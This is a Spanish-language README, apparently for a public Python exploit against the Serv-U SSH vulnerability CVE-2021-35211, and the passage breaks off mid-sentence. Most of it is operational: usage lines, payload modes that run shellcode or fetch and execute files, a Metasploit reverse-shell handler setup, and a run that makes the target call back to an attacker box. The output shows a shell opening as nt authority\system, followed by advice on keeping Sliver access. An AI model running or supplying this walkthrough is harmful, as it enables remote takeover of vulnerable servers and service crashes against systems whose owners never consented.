
Exploit en Python para la vulnerabilidad SSH de Serv-U (CVE-2021-35211) con múltiples modos de payload: stage, exec y download-execute, que permiten la ejecución de shellcode y la inyección de comandos.
El exploit no funciona siempre, pero funciona lo suficiente como para ejecutar el shellcode en aproximadamente 1 de cada 5 o 6 ejecuciones. Sin embargo, a veces un exploit fallido puede provocar que el servidor Serv-U se bloquee. Asegúrate de que tus reglas de enfrentamiento permitan el riesgo de pérdida o degradación del servicio. Los síntomas observados en las pruebas incluyen:
Caveat emptor.
Las versiones son importantes. Este exploit utiliza direcciones ROP fijas que solo son válidas contra Serv-U versión 15.2.3.717. Es posible que podamos añadir otras versiones; por favor, pregunta si necesitas que funcione con versiones diferentes de Serv-U o Windows.
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717
Acepta los siguientes argumentos:
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...
Hay tres modos (o payloads) que puedes ejecutar en un ataque exitoso:
stageexecdownloadexecTras un exploit exitoso, ejecuta un stager de shellcode compatible con Metasploit/Sliver. Es el menos fiable de todos los payloads; considera `downloadexec1 en su lugar. Ejecútalo así:
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort
positional arguments:
stageHost Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
stagePort Port number for your staging instance
optional arguments:
-h, --help show this help message and exit
stageHost y stagePort apuntarán a un handler en escucha en tu máquina Sliver/Metasploit. Puedes elegir el payload que quieras, pero he descubierto que el único que funciona de forma fiable es windows/x64/shell/reverse_tcp. Es una pena porque no es un shell cifrado y tendrás que revisar tus reglas de enfrentamiento antes de obtener una shell de ese tipo.
Una vez más, caveat emptor.
Configúralo en Metasploit, ejecutándose en tu máquina Kali, de la siguiente manera:
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.
Luego ejecuta el exploit:
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
De vuelta en la máquina Kali deberías ver la petición de stage y el shell de comandos iniciándose:
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000
msf5 >sessions -i 6
[*] Starting interaction with 6...
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system
El soporte de Sliver en el payload del stager es altamente experimental y rara vez funciona. Si funciona, normalmente verás que las sesiones se inician y mueren de inmediato. Pero si consigues una sesión que no termina de inmediato, puedes tomar medidas para mantener tu acceso a Sliver migrando a otro proceso.
En tu servidor Sliver, ejecuta el comando stage-listener para configurar tu listener. Consulta la [documentación de Sliver](https://github.com/BishopFox/sl